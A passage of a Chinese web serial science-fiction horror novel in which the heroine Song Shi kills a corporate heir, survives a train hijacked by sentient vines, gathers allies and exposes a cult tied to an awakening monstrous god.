一道黑影从她身体里钻出,溜到墙壁上,膨胀扩大,挥起刀。 汪子尧仍沉浸在令他头皮发麻的刺激上,即便身边的人一个个死去,他都未曾发现。 宋拾专门将他留在了最后。 刀缓缓滴血。 她取下他的眼镜,对上那双意犹未尽又夹杂着错愕的狭长眼眸,冷着脸,剜去他的左眼。 杀猪一般的惨叫直冲屋顶,宋拾提前设好了结界,任凭他鬼哭狼嚎。 “痛吗?”她揪住他的衣领,歪头淡淡问道。 肯定是痛的,因为她嗅到了一股骚味。 “你、你是谁!你知道我爸是谁吗?!你怎么敢的!”予夺生杀的人不再是他,这个认知令汪子尧恐惧得浑身战栗。 听到教科书式的经典台词,宋拾笑了,润黑的眼眸微微弯起,不过她还是耐着心思索片刻,认真地告诉他: “我是回溯派来的。” “回溯?!” 在汪子尧生命最后一刻不可置信地大声叫出这个词时,结界消失,雪花屏的监控陡然恢复正常。 黑暗漫长,甜雨淅淅沥沥下着,雾渐渐浓稠,将城市罩得朦胧,霓虹灯若隐若现。 即便如此,游行抗议的人仍不少,拿着咒骂和揭露真相的横幅与牌子,浩浩荡荡游走在街上。 据说有一批人专门跑到奥罗拉集团总部楼下大闹,但被安保机器人轰出去了,还有些硬骨头,不知怎么跑上了总部大楼楼顶,一跃而下。 到现在还能听见从远处传来的沸腾高亢的抗议声。 负三楼楼道墙皮斑驳脱落,终年不散的湿闷的霉气,与侵入人骨髓的潮湿阴冷。 宋拾心情还算不错,哼着不着调的调子回到出租屋,然而按住开灯按钮的那刹,动作一顿。 她像雌狮嗅到危险,毛发一寸寸炸开,后背肌肉绷紧。 会是谁? 一瞬间无数猜测涌上大脑,她苦思冥想,确定自己没有暴露的地方。 警戒的目光透过漆黑,清晰看到一个成年男性的轮廓。 知道她住址的除了联邦,还有回溯。 宋拾按下灯开关。 “咔嚓”一声,骤然明亮刺眼,她双目下意识微微眯起。 高大的阴影笼罩头顶, 正如她所料,是回溯的人。 男人膀圆腰粗,钢铁身躯,壮硕得犹如一堵承重墙,唯一未机械化的地方是那在白炽灯下光洁锃亮的头,微微反光。 宋拾:“……”该死,这不是该笑的时候。 光头男盯着她,闷沉的声音从胸腔内震出:“渡鸦,西索斯大人让我带你回去。” “带我回去” 明明可以通过智环通知,却专门找人来“接”她回去。 “大人要见你。” 一时间,宋拾头脑风暴,每个脑细胞无比活泛。 回溯按插在联邦里的眼线不止她一个,这也便意味着,西索斯极有可能通过其他内线知道了谅雀的模样。 两张一模一样的面孔,只需稍加深思就能联想到克隆或姊妹上来。怎么想都有端倪,西索斯又有被害妄想症,自然不会再放心让她继续潜伏在联邦。 但至于回去后,西索斯是来盘问利用,还是杀死她,就不得而知了。 倘若是以前,她的选择只有回去,可如今心脏里的炸弹都没了,她怕个屁。 想通后,宋拾神色毫无波澜,点头:“好。” 她正打算在他转身刹那动手时,冷不防看见男人卤蛋似的头浮动起红色的符文,紧接着,赤红如血的虫洞扭曲,赫然出现在眼前。 卧槽。 赵柯的速度那么快?实验居然已经成功了。 宋拾瞠目结舌。 “为什么还不走?”见她愣神,男人皱起眉毛,然而目光交错的一霎,他神色凝固住视线失去焦距,直挺挺杵在原地。 “人造精神师现在进展如何?”宋拾双臂环抱胸前,问道。 男人机械性回复:“进展顺利,已成功改造八人,赵珂还在不断改进实验方案,未来有希望将成功率提高到百分之四十。” “……”宋拾深吸气,这比她想象中快了太多。 “你们打算什么时候行动?” “没通知。” 得到答复后,宋拾手起刀落,放出一簇幽幽的蓝火,毁尸灭迹。 这个出租屋显而易见不能住了,她可不想半夜睡得朦朦胧胧,被人一刀捅死。 那现在去哪呢? 宋拾掏出终端果断联络谅雀,简单叙述了一下情况后,成功借到五万星币。 该死的西索斯,害她负债累累。 宋拾气冲冲走出公寓楼,撑起雨伞,黑色的伞面张开,与此同时,她被外面的景象吓了一跳。 浓重的大雾似乎盘踞整座城市,蒙蒙一片,伸手不见五指的程度,隐约可见远方霓虹灯闪烁。 最为诡异的是,天空犹如火烧一般血红,明明是大雾天,却能看得异常清晰。 宋拾攒簇了下眉,在网络上搜索宾馆,很快找到一家性价比高的宾馆,离这里也不算远,坐一站路就到了。 机械光球漂浮在雾气中,高声提醒:“甜雨天气,请各位市民携带好雨具,注意安全。” 她持着雨伞,穿进厚重的雨幕之中,雨水噼里啪啦地敲击伞面。 来到车站牌旁,看着眼前浓稠肆意翻滚的雾气,宋拾恍惚觉得自己仿佛置身于恐怖副本之中。 直到明亮的光直射而来,随即悬浮列车遽然停下,车门缓缓打开,宋拾上了车。 这个点仍有刚加班结束的上班族,西装革履又满眼疲乏,颓然地望着窗外。 宋拾的斜对面坐着一对外观异于常人的情侣,饶是见过大风大浪,她还是没忍住打量。 女人身形姣好,穿着当下流行的辣妹装,头靠在男人肩膀上,然而她皮肤却呈现漂亮的岱赭红;而男人身高目测两米朝上,黑色大衣内是高领毛衣,戴着一副黑漆漆的面具,只露出漆黑的眼睛。 这种组合搭配,任谁也控制不住视线。 不过宋拾累了一天,看了几眼后便收回了视线,靠着椅背小憩。 她睡眠浅,不怕错过站,然而,当眼皮合拢,意识像巨石沉入水底,犹如同浮萍起起伏伏。 感觉时间过了许久,又像是没过多久,猛然间,她后背过电似的,陡然清醒,随即立刻察觉到不对劲。 人们睡得很沉,沉到睡得东倒西歪,要不是太过怪异,宋拾都要夸赞他们婴儿般的睡眠质量。 车窗外依旧是浓浓的雾气,疾驰在空中,唰唰而过,看不清建筑物。 她打开终端,竟然已经过了四十多分钟,这很不正常。 这时,论坛页面弹出:“触发任务。” 宋拾:“……” 同一时间,对面两人的终端响起提示铃声,她们的视线交错。 女人目光灼灼,直接问道:“你也收到论坛任务了吧?” 第74章 “你也收到论坛任务了吧?”女人走近。 宋拾余光瞥见终端屏幕: “恭喜用户捡垃圾了吗触发随机任务,悬浮列车迟迟不停,旅客昏睡不醒,似乎有什么东西混上来了。请用户解决这个小小的麻烦。奖励为十万星币,失败后果自负哦。” “是。”宋拾说。 “你没有昏迷……你应该也是精神师吧?”女人环顾四周, “这里的磁场很不对劲,普通人扛不住的。” 宋拾敏锐捕捉到了“也”字,她默不作声打量眼前的两人。 那个拥有岱赭红皮肤的女人面带微笑,男人则犹如幽灵一般站在身后,一言不发。 “我叫阎温柔,这是我弟,他叫阎十三,他不爱说话,有什么事,你和我交流。” “我是……”宋拾顿住,一时间不知道该报哪个名字。 她摆脱了卧底身份,没必要隐瞒,可此刻的脸的的确确是于衡的,而非宋拾。 不知是她迟疑的时间太久,阎温柔抬抬下颌,“如果不能说就算了。我们先去驾驶室看看怎么回事。” 莫名地, 宋拾松了口气。 她亦步亦趋跟在两人身后。这里太安静了, 安静得能清晰听见每个人脚落地的声音,甚至是自己血管中血液流动的声音,心跳擂动的声音。 每节车厢的人皆陷入深度睡眠,睡得东倒西歪,车玻璃外的雾浓得全然看不清,处处透露着诡异。 没走多久,远远看见有什么大片长条状物盘踞车厢内,泛着蓝色的荧光,待看清后,宋拾心头一震。 竟然是在E2604区地底遇到的藤蔓。 藤蔓粗壮得可怕,约莫两名成年男性伸展双臂,指尖绷紧拼命触碰才能勉强环抱的程度。 它正以一种缓慢但肉眼可见的速度向后面的车厢生长,透明可见的薄膜之下是一张张沉睡的人脸。 祂在进食。 宋拾被大脑突然冒出的想法吓了一跳。 她听见阎温柔困惑不解的声音:“怎么这里也有这些藤蔓,不是从地底冒出来的吗?” 好问题,她也想问。 忽然,宋拾感受到难以忽视的灼灼视线,她扭过头,撞进阎温柔碧绿如湖泊的眼眸里。 “不知道你有没有刷到过我们的帖子。”阎温柔毫无征兆地靠近,将终端带到宋拾眼前。 屏幕显示着某个帖子页面,用户名为“老娘天生尤物”。 “我们发过不少组队的帖子,就是为了弄清这些藤蔓出现的原因。但无论是在星网,还是论坛,私信的要么是黄色留言,要么对方不符合我们的要求。大部分人保持怀疑和观望态度,事不关己高高挂起。” “特别是霍尔上台后,那群愚民竟然觉得,霍尔会帮助他们?” 她狠狠地皱了皱鼻子。 阎温柔絮絮叨叨说了许多,可宋拾的注意力再次落在藤蔓上,若有所思。 人脸花在储备能量,如果吞噬的人足够,祂就会醒来,但她并不清楚祂需要多少能量。 宋拾还记得濒死前的恐惧与窒息,现在回想起,仍觉得喘不过起来,像被丢在荒漠上缺水的鱼,嗓子发干发痛。 而那仅仅是一眼,她甚至连挣扎反抗的余地都没有。 浓雾、甜雨、血红的天空,种种异象是否说明祂离苏醒不远了呢? 人类尚且能够抗衡暴乱的异种,可倘若母体苏醒,悬殊便犹如天堑,天平渐渐倾斜。 所以,我们还剩下多少时间呢? 宋拾逼迫自己剥离出悲观的情绪。 以前藤蔓只是从地下伸出,现在却脱离母体也能存活,并能自主吸收营养。论坛任务说有什么东西混上来了,是藤蔓自己上来的,还是人为? 如果是人为,是哪方势力就不言而喻了。 眼前陡然闪过一重黑影,是阎温柔的手在她面前晃。 “你究竟有没有在听呀?你实力怎么样,要不要加入我们?” 宋拾看向她们,“我刚才在想,藤蔓是不是有人带到列车上的。”顿了顿,继续说,“如果是人为,不出意外的话,是哀涅托。” 阎温柔眉毛微扬:“你也怀疑藤蔓、异种潮和哀涅托有关?” “如果我说,哀涅托在试图提前加速让E2604区地下母体苏醒呢?” 阎温柔的神情严肃下来,深深凝视她,“你认真的?” 宋拾没有答复,而是侧头看向不知何时生长到眼前的藤蔓,“我想现在不是解释的时间。” 话音刚落,她便察觉周遭温度陡然攀升。 宋拾怔愣,黑亮的眸子倒映着火光—— 阎温柔岱赭色的红皮肤上燃烧着烈焰,沐浴在火光之中。她对火焰掌控力近乎恐怖,赤热的火焰却丝毫没让衣服受损。 火焰试图将藤蔓逼退,但作用不大,藤蔓蜷缩了下,继续生长。 阎温柔皱皱眉,放出一堵火墙,挡住它的去路。 “应该撑不了多久,我们要尽快。” 她高跟踩进瘫软的藤蔓上,高温迅速将藤蔓烧得黢黑。 几乎没有存在感的阎十三默默跟在阿姊身后。 “嗯。”宋拾应声,看着神识中缓缓浮现的字迹: 【浴火凤凰:火焰能灼伤敌人,亦能灼伤自己。你会感到被烈焰灼烧的刺痛,请谨慎使用。 】 终于,三人抵达驾驶室。 率先入目的是横生在眼前的粗壮藤蔓,蓝色荧光亢奋地闪动,而由它又分生出无数大大小小的藤。 有的是延伸出去,有些则软趴趴盘在操纵台上,仔细看它们的动作,竟然是在操控这辆悬浮列车。 阎温柔同样注意到了,浮夸地吹了个口哨:“哇哦,最新发现,这玩意居然能寄生……还能操控车” 一时间,宋拾像是站在强电场环境下,头皮阵阵发麻,鸡皮疙瘩瞬间冒起。 它居然有智慧? 身旁传来阎温柔的吸气声,宋拾才思绪回笼,视线下移,落在瘫倒在座椅上的驾驶员身上。 他皮肤青灰、干瘪,已然失去弹性,干巴的皮紧紧绷紧在骨头上。 藤蔓是从他腹部破开,无限生长。 “藤蔓寄生了驾驶员,所以导致这东西跟着上了列车。”阎温柔推断。她伸了个懒腰,转动脖颈发出“咯噔咯噔”的声响。 见阎十三往后站,宋拾识趣地向后退几大步。 火焰包裹住阎温柔,她神情太过自然,似乎感受不到任何灼烧的刺痛。 熊熊大火瞬间吞噬那些藤蔓,滋啦啦作响呻-吟。 宋拾凝望挡风玻璃外红艳艳的夜空。 红得如同泼上了血。 如果有人此刻注意宋拾,会发现她的眼球里飞速闪过蓝色符文。 宋拾看见了不远处矗立着一栋大楼,随后,她又变成上帝视角进入大楼内部。 那是栋购物商场,男女老少,人来人往,有结伴成群的人,也有独自逛商场的年轻人。 短短一瞬,她看到了上千人同一时间的状态。 紧接着,一辆失控的悬浮脱离路线。 嘭! 撞上,爆炸。 ——祂想去人多的地方狩猎。 下秒,宋拾一个激灵,回过神来。她想都没想,冲到操控台前,果不其然,不远处出现一栋大楼。 她心脏砰砰跳,竭力克制住颤抖的冲动,双手死死攥住方向柄,往正轨上扭动,然而藤蔓的力道大得出奇,全然无法撼动。 大楼的轮廓越来越清晰,她甚至听到了孩子们欢快的尖叫声。 要来不及了。 宋拾不得不分神侧过头,冲阎十三喊:“能不能过来帮忙?” 高大的男人歪了歪头,似乎不理解,但还是瞬息间出现在她身旁。 “帮我把它弄开。” 阎十三了然,生生将那几乎是生在控制柄上的藤蔓掰开。 陡然的轻松让宋拾稍稍舒了口气,她使出吃奶的劲儿用力将方向柄往正轨上掰,心脏跳动如擂鼓,血液不断上涌在耳边呼啸,脸烫得发疼。 终于,堪堪避开了大楼。 还未来得及雀跃,顷刻间列车失控,斜斜朝着地面落去。 宋拾肌肉绷紧,竭力将方向柄往上掰,增加车子降落的缓冲时间。 列车“嘭”地一声倾斜坠落,但却仍未停下,在地面摩擦出“滋滋”明晃晃的火星子。 眼瞧着要倾倒,她看见阎十三凭空出现在车头外,伸出双手。 “疯了吗。” 宋拾大脑一片空白。 然而那双手牢牢接住车头,因为惯性,列车没有直接停下,而是将男人带离十米远左右才停下。 【力大无比:你将拥有使不完的牛劲。 】 看着出现在神识海里的这段文字,宋拾想笑,又笑不出来,喉咙阵阵锁紧。 终于结束了。 “可算是烧死了,这玩意真难杀——”阎温柔刚抱怨一句,突然止住了话头。 高高鸣起的警笛,挡风玻璃外,大批安防警车乌泱泱包围,安防员们举枪,对着站在车前的男人发出警告。 “站着别动!” 阎十三举手。 安防员们迅速疏散人群,拉警戒带设路障封锁现场,无数咔擦咔擦闪光的摄像头,细致地拍下一张张画面。 闪瞎眼的闪光灯照来,宋拾下意识闭眼,而阎温柔像接受采访的明星,笑容灿烂,凹好看的造型。 直到一双银手镯拷在了她的手腕上。 阎温柔:“……” 随后,三人被压上了车。 一路上,阎温柔都在愤愤不平指责控诉,“凭什么要抓我们?是我们救了一列车的人!你们没看到车上的藤蔓吗?” 安防员不堪其扰,揉了揉眉心: “等到了安防局,我们会进一步调查,如果你们是无辜的,我们当然会还给你们清白。所以,请保持安静。” 阎温柔这才安静下来。 终于,顶着厚重的浓雾,车抵达安防局。三人进审讯室做了笔录,阎温柔和阎十三因为犯罪记录太多,几个月前才降为四等公民。 审讯员对阎温柔口中的见义勇为保持怀疑态度。 查到宋拾时,审讯员一时间愣住了,档案是加密状态。 突然,审讯室门开了。 见到提前联络好的谅雀,宋拾终于松了口气,然而,谅雀的身后又多出一个人。 银色长发披肩,淡漠的金眸。 四目相对的刹那,宋拾佯装镇定地移开视线,闭上眼睛,脚趾不自觉蜷缩。 天杀的,为什么他会来啊啊啊! 第75章 宋拾看着谅雀径直走来,解开她腕上的镣铐,在她耳畔低声: “抱歉,今天发生了太多的事, 我只能提前告诉他了。” “什么事?”宋拾活动了下手腕。 谅雀神情凝重。 “情况比我们想象的更糟。以往, 地面裂一两个小时后便会恢复如初,然而最近一次地裂出现在罗元市市中心某一所小学,从今天下午两点半持续到晚上六点。当我们赶过去时,学校空了。” “它们似乎能扰乱信号磁场,监控设备无一例外损毁,无法与外界通讯。” 她睫毛翕动,黑亮的眼眸凝视宋拾,脸如白蜡, “学校的保护屏障是开着的,但——” “但目的不是为了保护人,而是让里面的跑不出去,外面的人进不来。是那些藤蔓做的吧?”结合方才发生的事情, 并不难猜。 对上那双惊愕的眼睛, 宋拾说:“今天我坐的那趟列车也是同样的情况。它们有智商,专门挑人多的地方。” “那我们的时间还有多少?”一道清冷的嗓音插入。 审讯室此时已经空下来,宋拾看着霍尔。 男人五官深邃,轮廓硬朗,俊美无俦,金眸犹如蛰伏的巨蟒目不转睛盯着她,一步步走近。 霍尔取代了谅雀的位置,房间内只剩下两人。 空气瞬间降到冰点,宋拾沉默不语。 最终,是霍尔开口。 “老实说,如果换个人这么告诉我,有个幕后黑手将我们耍得团团转后,决定毁灭世界,我会建议他进医院脑科查查看。” 宋拾不置可否。 “你真的是宋拾?” 淡金色的修眸沉寂着凝望眼前的人,她怔愣了下,旋即容貌发生变化,渐渐变成他熟悉的模样。 霍尔喉结滚动,耳边出现花开的声音,心脏不可抑制地狂跳。 这段时间,他整日都要处理一堆乱遭的事情,精神几乎不堪重负。 他无法分辨是身体和精神哪个更累,他不能闭上眼,一旦闭上眼,那个家伙便如同幽灵一般冒出来,试图掌控这具身体。 他已经好几日没有合眼了。 可此时,一切疲乏都消散了。 脑海中不禁想起朋友的话:“那就没有你得不到的东西吗?” 得不到的东西。 霍尔的视线在宋拾脸上逡巡,试图找出原因来,可当她的脸清晰显现在他瞳仁里时,出现的想法却是: 她长高了,但还是那般消瘦,嘴唇干燥起皮。 下意识地,他舔了舔自己的唇瓣。 宋拾没注意他的不对劲,“如今,各方势力都在蓄力,回溯的人造精神师计划已经有了突破——我承认,当初窃取数据是我的问题,但如果重来,我大概依旧会那么选择。” “奥罗拉科技的义肢能操控人,是真的。他们产品遍布整个联邦,就连联邦军身上佩戴的义肢也是它们的产品。” 突然,宋拾微笑起来,眼眸闪烁,“我能申请建立一个专门的小队吗?” …… 阎温柔百无聊赖在外面守着,其实她们已经可以离开了,但怕那些人不肯放宋拾,她就一直没离开。 终于,审讯室门开了,出来的却是霍尔和一个陌生的女人。 阎温柔见鬼了似瞪大眼睛,看眼坐在一旁的谅雀,又看向眼前的宋拾。 她不可置信,固执地伸头朝审讯室里窥去,结果是空无一人。 宋拾朝她伸出手,面带微笑:“正式介绍,我叫宋拾,可以邀请你们加入我吗?” 阎温柔怔愣,随后戒备地盯着她,“你是联邦的人?”在列车上的时候,她可说不了不少联邦和霍尔的坏话。 “不,以我自己的身份。”宋拾摇头,“不受限于任何组织。” 阎温柔犹豫了下,看向弟弟,在得到十三轻幅度点头后,她松了口。 “我答应,但这可不是什么卖身契,别指望我们替你卖命。” “当然。” 宋拾倒不在意她态度的转变,她当初也恨不得炸了联邦。 阎温柔狐疑打量她,还想问些什么。 然而宋拾却移开了视线,问值班的安防员:“这里有空的休息室吗?” 奔波了一整天,她困得眼皮快睁不开了,也懒得再去找宾馆。 休息室配备的床梆硬,但宋拾顾不上那么多,沾床就睡。 至于别的,明天再说。 她的意识很快沉了下去。 梦中,猩红的天空,遮天蔽日的浓雾。 藤蔓蔓延的到处都是,爬在墙上,地上,高楼大厦,下水道,无孔不入。 藤蔓薄膜中是一张又一张人脸。 人们流离失所,残肢断臂,城市已然沦为废墟,一片狼藉,街上游荡着各种变异生物。 游乐园内,一对母子躲在摩天轮内,孩子眼睁睁看着超人扮相的人被那些可怖狰狞的怪物分食。 “妈妈,超人被怪物杀死了。” 孩子嘴唇嗫嚅,失神地小声喃喃,下秒便被母亲死死捂住嘴。 孩子的声音是那般轻,可那些怪物突然朝她们看来—— 这时,镜头开始缩小缩小,犹如电影中的全景图。 城市浓雾翻滚,在钢铁建筑群中,某种庞然大物的身影若隐若现。 次日,宋拾是被两股诡异的视线盯醒的,一睁眼,是阎温柔和阎十三。 画面说不出的诡异。 “……”她手肘撑床,坐起身,“怎么了?” “你睡得很不安稳,十三非要拉着我陪你。”阎温柔递过来一杯温水,兴致冲冲问,“做什么噩梦了?” “要真是噩梦就好了。” 宋拾感慨,咕嘟咕嘟大口吞咽着水,直到水杯空,她幽幽叹了口气。 “既然决定合作,我有必要将真相告诉你们。不论你们信不信,还请保密。” “你说。” 阎温柔不觉得有什么是自己不知道的,她们已经查到不少信息,可当宋拾认真地说出她觉得匪夷所思的事时,她甚至怀疑宋拾是专门来找她们逗乐子的。 “我说的话没有半句是假。”宋拾端详她们,“如果不想掺和这些事,就当从没听说过吧。” “缺心眼了才能当没听过。”阎温柔焦躁地抓了抓头发,“如果这些都是真的,我们每个人都逃不掉啊。关乎我自己性命的,怎么可能不掺和。” 宋拾抿唇,“昨天的事有什么进展吗?” 阎温柔说:“那个倒霉蛋司机是个虔诚的信徒,几天前去了趟教堂,安防局也在怀疑哀涅托。” 她声音小了下去,眼底满是狡黠。 “我偷听到的,他们准备去那个教堂调查。” 阎温柔扒拉了一下存在感几乎为零的弟弟,“我打算和十三也去看看。” 十三微微点了点头,似乎表示赞同。 宋拾嘱咐道:“注意安全,如果可以的话,多拍些证据。” “放心,包在我们身上。” 姐弟俩离开了休息室。 宋拾慢悠悠打开终端,看着账户中新增的一万星币,却感受不到丝毫喜悦。 这时,一串陌生号码来电。 同时,一栏新闻的弹窗弹出:“奥罗拉小少爷汪子尧遇害,凶手疑似回溯”。 4033年6月4日,汪子尧遇害一事直接登上了热搜第一。 晚上六点整,酒吧监控画面从大门一路黑到汪子尧所在的包厢。 包厢内监控故障前的画面是门悄然露出条缝,随后黑屏,再次亮起时,喊出“回溯”时人已经死透了。 前来调查的安防员找来了那个打工的女学生,遗憾的是对方只是个手无缚鸡的普通人,不可能杀光在场所有人。 而问她有没有见到什么人,她精神恍惚,称自己记不清了,只记得一个模模糊糊的人影。 “是男是女?” 那名女学生思索了许久,摇头:“抱歉,对此我真的毫无记忆。” 此刻,躲避追杀的向凡正好看到这条新闻。 用脚指头想,她都猜到了凶手。 向凡拉了拉帽檐,匆匆混在商场的人群中,警惕地四处张望,确定没有人追上来,才小心翼翼地拉开外套链。 奄奄一息的骨蛇贴在她胸口上,一动也不动。 小白为了保护她才受的重伤。 “小白。” 向凡吸了吸鼻子,心疼得她差点落泪。 该死的委托人。 当奥罗拉的人追杀上来时,向凡最先怀疑的是那个嬉皮笑脸的女人,结果是上上一位委托人。 本来曝光完奥罗拉,拿完钱,这事就和她毫无关系了。 可谁知那个西装女人竟然没有删除证据。不知出于什么心理仍保存在终端里,还正常上班,果不其然被公司查到了。 然后火速出卖了向凡,将一切责任都推卸了个干净。 向凡接过无数委托,见过形形色色的人,但如此愚不可及的,还是第一次见。 证据不删除,留着是要当传家宝吗? 向凡一晚上都在逃亡,城市到处是奥罗拉的“眼睛”,不管逃到哪,都会被他们发现。 她精疲力竭又饥肠辘辘,寻了个角落干脆坐下休息。冷不丁地,眼睛不受控制地移到大银幕正播报的新闻上。 胆子真大。 向凡蹙眉,用力回想上任雇主的模样,却如论如何也想不出,仿佛有什么东西蒙在她脸上似的。 算了,那张脸大概率也是假的。 她按开终端,无意识地戳了几下,等回过神来时,一个号码已经拨了出去。 糟糕。 她手忙脚乱想要挂断。 铃声没响两声,没有给她挂断的机会,里面传来一道清亮的女声: “谁?” 第76章 “谁?” 见无人应答, 对面重复。 向凡深吸气,摁断通话的手指迟迟下不去,余光中,有一帮穿西装的家伙混在人群里四处张望似乎在找什么人。 她拉了拉帽檐, 动身走向无人的监控死角。 朝着通讯另一端的人说:“你之前说如果需要帮忙可以找你,还作数吗?” 人走投无路时,连芦苇都不会轻易放过。 对面顿了半秒,随即传来一声轻笑:“原来是你呀小朋友,约定当然作数,不过——” 女人恶劣地将音拖得老长,她似乎刚起床,嗓音慵懒含混。 “我帮你摆脱麻烦, 你也帮我办点事吧?” 明码标价是正常的,如果对方不求回报,那才有鬼了。 “只要是没有生命危险的事,可以。”向凡答应, 低声报位置, “我现在在——” “找到你了。” 终端内失真的声音和现实的声音交叠重合,剪断她未来得及说完的话。 声音是从背后传来的,向凡身体微僵, 刹那间, 她怀疑是自己听错了,不可置信转过身去。 这次,她看清了她的面容。 她身形消瘦修长,皮肤苍白,但一双杏眼圆而亮,神采奕奕。 “你……”向凡想问她怎么找到自己的,可话刚涌出喉咙,又被她咽了下去了。 这个女人既然都能摸到她家里,那么“能顺着网线摸到她的位置”也并非如此难以接受。 可如果真这样,她该强到什么地步啊。 宋拾不知道向凡的想法,更不知自己已被塑造成隐姓埋名的大佬,她只是再次感谢宙启提供的位置。 空气倏地波动、扭曲,如同将石子丢进湖里湖面泛起的涟漪,一个蓝色的虫洞赫然出现。 宋拾率先进去。 向凡踌躇片刻,缓缓跟上去。 她设想过进去后的无数画面,唯独没想到眼前出奇破旧的宾馆。 这一带人烟稀少,大片空地荒废,杂草丛生,只有眼前这个墙皮剥落,店牌摇摇欲坠的小宾馆还在营业。 这便是宋拾昨晚挖掘到的宝藏宾馆。 回想起“远离闹市喧嚣,回归自然,尽享静谧人生”的广告,宋拾陷入沉思,怎么不算是呢? 况且月租才五百,对她而言的确称得上是“宝藏”。 老板是个上了年纪的女人,敦实的身形,白发油腻腻紧贴头皮。察觉到有人到来,她慢悠悠抬起头,右义眼闪烁着红光。 “几间房?” “两间。” 黑店有黑店的好处,不需要任何证件便能办理入住。 接过老板递来两个生锈的钥匙,两人踩着格叽格叽作响的木梯上了楼。 四处弥漫着潮湿发霉和硫磺气息,不知道这里曾经发生过什么,墙上遗留着大大小小的弹孔,好在室内还算整洁。 宋拾端详少年,总觉得缺了点什么,半晌,她问: “你的小蛇呢?” “……受伤了。”向凡瓮声瓮气低声,从怀着掏出骨蛇,小白蔫巴巴耸拉着脑袋,却看不出受伤的地方。 “她帮我挡了好几颗子弹。” “她还能化成人形吗?”宋拾问,“人形的话我还可以试试。” 向凡摸摸蛇头,小声询问了声,而后白光一现,一个纯白接近透明的女人出现,体内的子弹清晰可见。 她踉跄了下,向凡连忙搀住她,满脸心疼,“能救吗?” “能。” 宋拾上前,抬手虚虚抚过小白的伤口,子弹一颗颗“咣当”落地,淡淡的蓝光跳跃在伤口间,渐渐,恢复如初。 小白仿佛一瞬间恢复了气力,迅速化为骨蛇,兴奋地绕上宋拾的手腕,似乎在表达感谢。 冰凉的触感令宋拾浑身起鸡皮疙瘩,将蛇揪住塞进她主人怀里。 “谢谢。”向凡喜悦地露出笑容,又郑重发问,“你想让我做什么?” “曝光哀涅托,搞垮奥罗拉。” “哈?” 向凡以为她是在开玩笑。 然而,当一个岱赭红皮肤的女人,和一个两米多高的男人拎着神父模样的人,扔到宋拾脚边时,她这才意识到,宋拾好像说的是真的。 向凡绝望地仔细打量神父。 黑色长袍,覆盖整个脑袋的机械面具,正面横贯着一颗硕大的脑袋。 完蛋,好像真的哀涅托的人。 “这破地方可真难找。”阎温柔抱怨,紧接着话锋一转,开始大谈特谈今天的战绩。 “安防员果然中看不中用,三言两语便被那些神棍打发走了。还得是我和十三,一把火烧毁了那个害人的破教堂。” 阎温柔瞪向被十三牢牢桎梏住的神父。 “他们居然宣扬人应该接受命运与苦难,将自己献祭给苦难女神。”一脚踹在他头上,“放的什么狗屁。” 神父痛苦地挣扎,固执高喊:“愚昧的女人,你懂什么!人来世上走一遭,就是要赎清罪孽,只有这样死后灵魂才能上天堂。” “疯子,你们果然都是一帮疯子。”阎温柔觉得匪夷所思,“人活着为什么要想死去的事,而且凭什么人就要活该忍受苦难?” “神就要苏醒了!”神父陡然激动,无比狂热的语气。 听到这句,宋拾脑中闪过什么,按开录像,吩咐十三把他的头盔卸下。 录像中是一颗肉瘤脑袋,爬满大大小小的眼珠,粘稠而恶心,那张长满尖牙的嘴张张合合,疯狂低喃:“死亡,不是生命的终点,而是灵魂逃脱躯壳的契机!” “逃不掉的,我们都逃不掉的……放弃吧!” 这是宋拾第三次听到这句话。 初次,她以为是神棍的胡言乱语。 第二次,她没听懂。 第三次,也就是现在。 她冷静地将镜头对准那张恐怖而丑陋的脸,循循善诱:“你说我们逃不掉,为什么?” 那些眼珠开始满脸乱爬,扭曲地盯着宋拾,怪物突然笑起来,“我们都会成为神的一部分,多么美妙!” 宋拾嗤笑,被吃掉可不就是一部分吗。 她关上录像,让十三闪开,举起手,手掌正对那只怪物,光团凝聚。 “湮灭。” 怪物有一点说的没错,祂快要苏醒了。 也许是下一秒,也许是明天。 向凡被眼前这一幕震惊到无以复加,哀涅托的神父竟然是怪物,还说什么神明,真的有神吗? “宋拾,她是谁?”似乎这时,阎温柔才注意到房间内多出来的小姑娘。 “我们的新伙伴,叫——”宋拾顿了顿,问道,“你叫什么?” “向凡。” …… 哀涅托的一则则罪证陡然曝光,甚至一度压下了奥罗拉的热搜。 视频中那张可怖的脸哪里还能看得出是人,瘤子一般的肉脑袋上挤满眼珠,说出的话癫狂而扭曲。 将人和异种结合,简直匪夷所思,闻所未闻。 有些网民发散思维,说连神父都是异种,那么神能是个人吗? 癫狂的信徒还是少数,大部分人又不是傻子,他们信仰神,是因为在这个看不到希望的时代,绝望的社会,这是他们所能得到的最容易的慰藉。 人们所歌颂的光明、圣洁,是对命运的妥协,又是活下去的动力。 可当他们信仰的东西扒开真容,原来是如此肮脏、扭曲狰狞。 人们感到愤怒,他们不顾一切推倒女神像,拆毁教堂。 迟来的真相,终于还是来了。 其实能做到这一步,多亏了霍尔掌权后果断地处理那些老顽固,让联邦大换血。 换成以前,不光是分分钟删除,那些老不死们掘地三尺也要挖出曝光的家伙。 没了这些核心的阻碍,计划也才得以顺利进行。 这段时间,宋拾曾偷摸去了趟回溯基地,果然人去楼空。 “他们在等一个时机。”宙启说。 “那我便为他们创造一个完美的时机。”宋拾轻声说。 一个计划渐渐在她心底成形。 奥罗拉和联邦一旦斗起来,最好的时机便有了。 螳螂捕蝉黄雀在后,西索斯不会放过这个捡漏的大好时机。 甜雨绵绵不绝,夜间的雾气愈发浓稠,就连天空更是染血的红,越来越接近她梦中的场景。 世上没有十全十美的方案,时间紧迫,每一次决断都是为未来争分夺秒。 不到万不得已,宋拾不会将论坛两个任务栏填上智者的名字,一旦他察觉到,是否会加速毁灭的进程,一切都是未知。 宋拾倚靠在窗边,外面荒废破败,几场雨下来,杂草疯长,偶尔飞过几只洁白的鸟儿,无限缩小,直到消失在雨幕之中,彻彻底底被“吞噬”掉。 也不知道贝莉娅怎么样了。 宋拾不信佛神,对那些虚无缥缈的东西嗤之以鼻,可她却迎着冷雨,虔诚地十指相扣,为朋友祈福。 神啊神啊,如果你能听到。 …… 联邦大楼。 谅雀刚从疗养仓内清醒,手臂被人托举着,随后一阵刺痛,针尖刺破了皮肤,药剂被推进血管。 朦胧的视线逐渐清晰,金发女郎见她苏醒,喜悦露出微笑,“谅雀小姐,你醒了。” 谅雀并没有错过温妮莎眼底一闪而过的悲伤,她轻轻眨动眼睛,“温妮莎,你不需要难过,我的身体一直如此,没关系的。” “小姐,您的身体数值很……”糟。 “谅雀!” 